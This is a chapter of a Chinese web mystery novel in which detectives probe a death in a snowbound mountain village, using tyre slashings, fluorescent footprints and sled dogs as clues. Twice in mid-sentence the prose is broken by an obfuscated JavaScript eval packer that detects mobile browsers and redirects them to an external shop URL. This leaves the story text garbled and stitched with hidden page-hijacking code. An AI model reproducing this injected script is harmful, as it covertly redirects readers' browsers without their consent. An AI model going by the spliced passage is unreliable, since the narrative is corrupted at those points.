“我见过他们。”维迦边吃着薯片边说,“在县城加油站的时候我遇到他们了,我劝他们早些上路,看天色就觉得要有一场大雪,他们不信,非得在县城多住一晚才撞上了暴雪。” 对他们说明情况的中年人看样子都快六十岁了,被折腾得不轻,无奈道:“唉,早知道听你的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12828673|135396||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就好了,我只是觉得村里的条件肯定不比县城,能在村子里少住一天是一天。” “你们是结伴来的吗?” 周悬拎起炉上冒着热气的水壶,给众人倒了热水。 “不是,我们是县城招待所认识的,中途才想一起同行的。” 中年人终于想起忘了自我介绍:“对了,我叫王业,是……嗯,是个律师。” 据维迦透露,除了周悬他们四人之外,所有的游客都在县城提前碰过面了,那里的地理位置很特殊,刚好下了高速不久,有距离目的地最近的招待所,附近还有加油站、超市和餐馆,很适合暂时落脚。 维迦和两个同行的朋友准备入住招待所的时候,比他们早来一步的明媛和林景正为了一点琐事吵架,程绝在旁拉偏架,句句都向着明媛。 听意思大概是明媛不想住在简陋的招待所,只想尽快到目的地去入住乐园酒店,那里的条件肯定比这不知道床单多久没洗的客房好多了。 林景却表示他和程绝交替开了一天的车,都是疲劳驾驶的状态了,在雪天驾驶并不安全,提议还是先在招待所住一晚。 看到墙角乱窜的蜈蚣,明媛一分钟也待不下去,宁可睡在车里也不肯住进招待所,程绝还站着说话不腰疼,林景只好妥协,开车上山进村。 维迦和朋友詹临当时就猜这三人关系一定不简单,还跟詹临赌了点小钱,闹起来喝了些酒,一直嚷嚷到后半夜,住在他们隔壁的考古学家和地质学家被扰的不得安宁,呛了他们两句后也上路了。 这也是两人对招待所里萍水相逢的路人表现出不满的原因。 后来在早餐铺里,维迦又遇到了律师王业和另外两个人,得知他们都是要去鸦寂村的,便劝他们早些上路。 王业开了一夜的车,实在集中不了精力就决定先在招待所开个房间休息,另外两人也是舟车劳顿,决定跟他同行,维迦没能说服他们跟自己一起走,便和詹临先出发了。 傍晚时分王业醒了,以“做个伴,相互都有照应”的理由拉着另外两人一起上路,三人同开一辆车,途中遇到了暴雪和雪崩,费尽九牛二虎之力才抵达村子。 大概就是这样的情况,听起来没什么疑点。 这里人多嘴杂,村子里发生的事总归是瞒不住的,周悬索性告诉了王业等人关于命案的事,并拿着死者的照片询问他们是否见过这个人。 被周悬打晕的那位暂时无法回答,另一名女性游客摇头不语,王业的反应却有些微妙。 周悬和裴迁都注意到他目光闪烁,还有躲闪的意思,凭借多年的审讯经验可以断定这人一定有事隐瞒。 最终王业给出的回答也是:“不认识,没见过。” 这可激起了周悬的兴致,但当着这么多人的面,就算有什么话他也不好直白地问。 下午村长做好了将他们送上山巅的准备,据说村子到乐园酒店之间用时最短的捷径就是几年前开发游乐园时建造的登山缆车,当时这缆车还被用来运输部分建材,非常结实。 开发商很鸡贼,担心村民会趁人不注意跑到山上去偷东西,特地设置了双向开关,这也就意味着缆车必须要山巅和山麓同时启动开关才能运作起来,否则任何一方单独开启开关都不能让缆车移动。 但现在,被积雪覆盖的缆车纹丝不动,完全没有启动的意思,一问之下才得知,这村子里没有电话,跟山顶联系全靠最原始的方式——吼。 村长让几个年轻人在这里吼了半天,山顶一点动静都没有,难说是因为上面的人没听见,还是压根不想理睬他们。 “缆车不是唯一的路,从旁边能绕上去,就是得多走一会儿。” 村长被这群不好惹的游客弄怕了,担心闹个不痛快,他们的财路就断了,这会儿说话小心翼翼的:“以前工地运大型建材,特意开了条路,从那边上去,沿着他们凿的路一直往上,就能看到一座桥……” 裴迁打断了村长:“您不打算送我们上去吗?” 17. 17 村长连连摇头,“往上就一条路,傻子都不会迷路,你们一群大小伙子怕啥嘛。” 众人你看看我,我看看你,都是一副不情愿的表情。 但要他们继续留在这个村子里也不现实,这是他们唯一能选的路。 明媛片刻都等不下去了,从程绝那儿要来了车钥匙便打算开车上山,既然这条路能运输建材,那越野车一定也不难通过。 可她忘记了山上都是没人清扫的积雪,不论如何,想要尽早上山,他们就只能徒步。 明媛其实是舍不得她带来的一车行李,就算到了山上也是要继续用的,她可不想提着大包小裹爬山。 她坐进车里发动车子,半天都没让车子动起来,维迦嘲讽道:“夺命女司机啊。” 话音未落就接收到了程绝那不甚友好的目光。 周悬觉得明媛的那辆车的状态很不对劲,上前去看了情况,绕车子转了一圈,发现了两大问题。 “你这车四个轮子都爆胎了,油箱门也是开着的,你要不要确认下汽油的余量?” 明媛一看仪表盘,惊叫一声,油箱的标志闪着红灯,就算车子不爆胎也开不出村子了。 “我们在县城刚加过油,到底是谁干的这种事!!” 明媛气得下车直跺脚,为了不让她招惹村民和其他游客,林景拉住她,劝她消气,别在这个时候乱说话。 裴迁看着爆了的四个车轮,上面有很明显的刀刺痕迹,是人为的。 周悬又去确认了其他人停在附近的车子,无一例外都被刺破了轮胎,包括他们的那辆库里南和江倦的大G。 放眼看去,六辆车竟然凑不出一套完整的轮子,这就伤脑筋了。 “看来有人想把我们困在这座村子里啊。”古董鉴定师兰翌明感慨。 “很奇怪啊。”周悬分析道:“明明已经下了封山的大雪,为什么还要毁车呢?就算车子还能照常开,我们也得等雪化才能离开这里,这么做有什么必要吗?” “可能是为了保险起见吧。”兰翌明不想纠结这么多,他提醒道:“上山是个体力活,弄个不好可能要走几个小时,趁现在天还亮着动身吧,再晚些只怕到山顶时天都黑了,这种环境下不安全。” 他说的有道理,但王业一行人刚到村里休息不久,还没有体力支撑他们立刻上山,也就出现了分歧。 周悬提议:“这样吧,先让一波人提早上山,打通跟山上的联系,这样就可以配合启动缆车了,我们约定个时间,就明早八点吧。” 众人一拍即合,明媛、林景和程绝三人自然是要先行的,兰翌明和两位学者也愿意同行,于是一行人将带来的大包小裹一一放上村长给他们准备的雪橇,准备人力拉动各自的行李。 维迦很想做头一批上山的游客,但与他同行的詹临却说想和老石匠叙旧,主动提出明早再上山,让维迦不必特意等他,他便跟着其他人上路了。 至于那名独来独往,奇装异服的女人,短暂地纠结了一下,也跟他们一起走了。 为了不让这些人活动在他们不能监控到的地方,周悬让萧始跟着他们一起上山。 萧始不情不愿,赖在江倦身边,不想跟他分开,叽叽咕咕好半天,还是被后者赶上了山。 至此,暂时留在村子里的就只有周悬、裴迁、江倦、王业一行三人,还有詹临。 周悬这么安排自然有他的理由,只有把萧始这只忠犬支开,他才能毫无顾忌地问江倦一些问题。 他是个直来直往的性子,憋了这半天已经忍不住要把江倦拎到角落里逼问了。 看他那副猴急的样子,裴迁在旁幽幽道:“你可以让我也上山的。” “你就算了,病还没好利索,先别折腾。别杵在这儿吃风了,回去喝点热姜汤去。” “好吧,想要调查现场和尸体的话,随时可以找我。” 裴迁扬长而去,周悬则等到其他人都各自回房,江倦也打算到附近去瞭望上山的人们时,一把拎起后者,把人拖到老石匠家,翻墙进了后院,指着那尊哭泣的雕像质问他是怎么回事。 江倦呆立好半天,伸出手轻轻抚摸着雕像的面庞。 雕像有一张跟他一模一样的脸,穿着单薄的衬衫坐在满地积雪中,头上还顶了片薄如蝉翼的石雕叶子。 石质洁白清透,将不俗的容颜刻在了不朽的时间里,即使很多年后他们都已老去,沉眠在这一隅的故人也不会有任何改变。 江倦的胸口剧烈起伏,他在压抑汹涌的情绪。 到最后,伴随着冷雾呵出一声极轻的:“哥哥……” “果然。” 周悬叹着气坐在雕像边上,从这个角度微微仰头可以看清雕像棱角分明的下颌轮廓。 仔细看就会发现,这尊雕像比现在的江倦要年轻一些。 ……这是当然的,毕竟这位故人,早就湮没在了时光里。 “我就知道,不是你……” 失落中似乎带着一丝庆幸。 “哥哥来过这里,应该是他过世前不久的那段日子。” 江倦单膝跪在雪里,伸出双手,捧着雕像垫在膝上的手腕。 隐约可见那轻薄的衬衫下雕着一个模糊的圆形伤口,那是烟烫留下的伤疤。 “抱歉,周哥。”江倦轻声道,“可以让我一个人在这里待会儿吗?” 本来有着一腔疑惑想问的周悬已经得到了他最想要的答案,无所谓接下来江倦会给他什么样的回答,就这样默不作声地原路翻墙回去了。 他心绪烦乱,急需一些能让他平静下来的东西,于是又去了案发现场。 这里保持着原样,明媛没有拿走她的床品和地毯可能不是为了保护现场,只是觉得沾了晦气罢了。 死者的尸体也依然倒在这里,萧始在初步检查后给他蒙上了床单。 发生了这种事,村民们都打心底嫌弃,没人愿意靠近案发现场,如果不烧火炕,室内外的温差几乎可以忽略不计,这样的低温刚好适合遗体的保存。 周悬观察着房间各处的细节,就在他眯眼研究毛毯上那些并不清晰的足迹,正愁看不清具体轮廓的时候,一盏紫光灯在他头顶亮了起来。 裴迁举着灯,蹲下来照亮周围的地面,能清晰地看到这些脚印发出耀眼的荧光。 他又适时调转方向,照亮死者的鞋底,上面还残留着一部分荧光粉。 周悬用一种怀疑的目光看着裴迁,“你是怎么知道死者脚上有荧光剂的?” “一开始出现在房间里的老鼠让我觉得很奇怪,那怎么看都是人为放置的,但什么人会出于什么目的做这种事呢?” 周悬顺着他的思路推理:“目的当然是想赶人走,像是不欢迎外来人的村民干的。” “一来游客可以给村民带来收益,从村民的表现来看,他们并不讨厌我们这些摇钱树,二来在某个房间里放老鼠也并不能从根本上驱逐外来人,这样做只会让嫌弃老鼠的游客换个房间而已,除非——那就是目的。” “你是说有人就想让明媛住进这个房间?” 裴迁摇头,“不,住在哪间房并不重要,重要的是让她落单,正常来说,她应该是跟男友林景住在一起的,做这件事的犯人应该是为了让她单人单间才制造了这场冲突,所以犯人既了解明媛的性格,又知道她有洁癖,讨厌老鼠。” 从目前已知的人际关系来看,林景和程绝的嫌疑最大,而且他们都可以在敲明媛的门时装作门被锁上的样子,事后再想办法劝她开门,趁机在门闩上动手脚。 周悬觉得裴迁的推理有些道理,可他也发现对方在刻意回避自己的问题,“你还是没说你为什么会知道死者脚上有荧光剂。” “因为,荧光粉是我撒的。” 裴迁理直气壮的态度让周悬有些摸不着头脑,这人肯定是故意的,但目的呢? 裴迁解释道:“昨天的闹剧过后,我检查了那间发现老鼠的房间,在炕上找到了一些不明的黑色毛发,很像人的直发,长度大概十公分左右” 他用手大致比了下长度。 周悬反应过来,看向了死者,“那不就是……” 游客之中满足条件的不多,比如主播维迦是个把头□□成了金色的短发青年,兰翌明上了年纪,发色是灰白的,林景的头发长度虽然差不多,但他做了纹理烫,发丝带卷,程绝则是精干的板寸。 发色、长度、外形跟裴迁找到的那几根毛发完全一致的,就只有死者自己! “那些毛发在紫光灯下散发着蓝色的荧光,这是吸食过‘寒鸦’的人会出现的症状。” 通过初步尸检,他们也确认了死者是个沾染了“寒鸦”的瘾君子。 “所以,是他在那房间里放了老鼠?”周悬摇了摇头,“不对,你别再转移话题了,荧光粉到底是怎么回事?” 这小子还真是执着,一点也不好敷衍。 裴迁没有流露出异样的神情,继续解释:“就是因为发现了类似人的毛发,我怀疑可能有人想做些什么,就在发现老鼠的房间和明媛的房间门窗附近撒了些荧光粉,我当时觉得这个犯人会做这种事不是对明媛不轨,就是对那间房有什么企图。” 后来证明,是前者。 为了证明自己这话的真实性,裴迁开门照亮了玄关的地面,想清了地上的雪,用紫光灯证明自己这话的真实性,却见门外站着个人,是王业。 王业被吓了一跳,没想到偷听的事这么快就曝光了,尴尬地笑笑:“我听说了命案的事,有点好奇……嗯,我没别的意思,我是个刑案律师,有点犯职业病了。” 周悬当然不会蠢到相信这话,客套地问了句:“你的身体还好吗?” “好多了,在雪地里又冷又饿地赶路,好好吃顿饭睡一觉就没事了。” 偷听被抓了包,他干脆不藏了,躲在门边询问跟案情有关的事。 周悬敷衍了几句,也用自己是侦探,犯了职业病这个借口来堵对方的嘴。 见周悬是这个态度,王业不想讨人嫌,很快就说自己还有些不舒服,回房休息去了。 裴迁继续刚刚没做完的事,踢开地上的雪,露出了门口的大片荧光粉。 “我是做了差分的,门口这里的荧光粉呈片状,撒得很细密,窗子那边是斑点状,踩在上面留下的痕迹是不同的,从尸体鞋底的荧光粉残留状态和地面上留下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12828674|135396||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的足迹来看,他是从门口进来的。” “有件事很奇怪啊,老裴。” 周悬蹲在地上,一手撑着下巴,把半边脸都挤变形了,一副愁眉苦脸的样子。 “你说雪是12点左右开始下的,那么死者能踩到荧光粉的时间就只有下雪之前和积雪没有盖住荧光粉这之间,那范围可就大了,假设雪下了半个小时就遮住了荧光粉,那么死者应该就是在明媛睡着的晚上8点到12点半之间潜入现场这间房的。” 当时村民和游客都在狂欢,喝得东倒西歪,没发现这边有人鬼鬼祟祟在明媛门外也正常。 但明媛自己呢?初来乍到,在人生地不熟的陌生村子里,换了不习惯的床铺和枕头,她真能睡熟到有人进了房间都没察觉到吗? 还有死者的死状也很奇怪,他以俯卧的姿态躺倒在地,身上没有明显的外伤,同时眼瞳上翻,眼珠都浑浊了,如果是中毒的话,毒又是什么时候进入他的身体,又是怎么被他摄入的呢? 周悬心里充满疑惑,要问怀疑,这里的每个人都表现得很可疑,被怀疑都说不上冤枉。 但要说最可疑的人……他怎么觉着像是这个事发当晚睡在自己枕边的男人呢? 他偷偷用余光瞄着裴迁,那人起身拍着手套上的灰尘,淡淡道:“不用对这起命案太上心,毕竟这不是我们来这里的目的。” “既然碰上了就不能不管吧?” 裴迁整理着外衣下摆的褶皱,镜片上的寒光一掠而过,“我说句不好听的,就算死的是队友,首要的还是任务,你应该分得清轻重。” 周悬明知裴迁这话是对的,但看对方那满不在乎的态度,就觉得人命在这人眼里未免太儿戏了。 他猛地站起身,抓住裴迁的衣领,将人狠狠顶在门板上,那眼神像是要把人生吞了似的。 他这是把自己那一腔无处发泄的火都撒在了对方身上。 裴迁不气也不急,依然是那副淡然又从容的模样,简短地评价他:“撒野?” 周悬嘴角一抽,想起临走前高局的千叮咛万嘱咐,再看看自己现在在做什么? 他急需一个台阶,一个让他不那么尴尬,又不至于让裴迁太神气的放手机会。 可他没想好要怎么处理之后的局面,僵硬的身体也就一直保持着按死对方的动作。 很快,机会就来了。 有人踏着轻快的脚步在雪地上走动,伴随着“咯吱咯吱”的声响敲了现场的门。 “周哥,在吗?我发现了一点线索,要来看看吗?” 是江倦。 “来了。” 周悬应了一声,放开了一脸淡漠的裴迁,怕江倦看出端倪,还将对方被他弄乱的领口整理了一下。 江倦自然看得出两人之间不大对劲,他不愿细想,也不想深究,门开后直截了当道:“我知道死者是通过什么方式来的了。” 周悬眼睛一亮,“什么方式?” “一种只有在特定情况下才能使用的特殊交通方式。” 江倦带着他们来到村子里较为偏僻的某户人家的院子里,隔着院墙就看到里面有几只大型犬正在雪地里撒欢,见了他们也不叫,吐着舌头好奇地凑过来打量着他们。 裴迁言简意赅地精准概括:“雪橇三傻,哈士奇,阿拉斯加和萨摩耶。” 这三种犬类毛发厚实,能抵御严寒,体力和精力都极好,可以拉动雪橇,寒冷地区的农户会把它们当作冬天运输和交通的主要方式。 “这家的狗很亲人,就算是陌生人也会亲近,因为性格太好不能看家护院所以让主人很头疼。” “雪橇三傻,叫的不是没有道理。” 裴迁不动声色地看了周悬一眼,被后者敏锐地发现了。 周悬警觉道:“别以为我感觉不出来,你是想说我跟它们一样傻吧!” “我没这么说……” “你的眼神就是这么说的!” 周悬把手伸进门栏里逗狗,思索道:“所以死者是深更半夜搭着雪橇来到村子的?听起来好像还算合理,那时候还没下暴雪,他只要把车停在附近,再搭雪橇来到村里,不管是时间还是体力都消耗不了多少的。但问题是,帮他拉雪橇的狗呢?” “有两种情况。”裴迁分析道,“狗是死者带来的,或者原本就是这个村子里的。” 他又补充:“如果是后者,那村民不认识死者就是个谎言,但这又与村民漠视死者被害的情况相违和。” 此前所有推理都建立在关系人说了实话的基础上的周悬觉得自己被点名骂了。 江倦推开铁制的院门,“进来吧,我跟这家主人打好了招呼,她可以配合回答几个问题,你们可以先想想要问什么。” 周悬摸着萨摩耶毛茸茸的脑袋,被哈士奇从身后猛地用力一拱,扑到地里滚了一身雪。 哈士奇得意地绕着他转圈,本来没想笑的裴迁见了他这倒霉样也绷不住了。 周悬咬着牙,指着他跟得意洋洋的哈士奇:“你俩简直一模一样!看看那欠揍的表情,老子真是……” 受够了这鸟气的周悬急于发泄心里这股火,随手捏了个雪球就朝裴迁打了过去。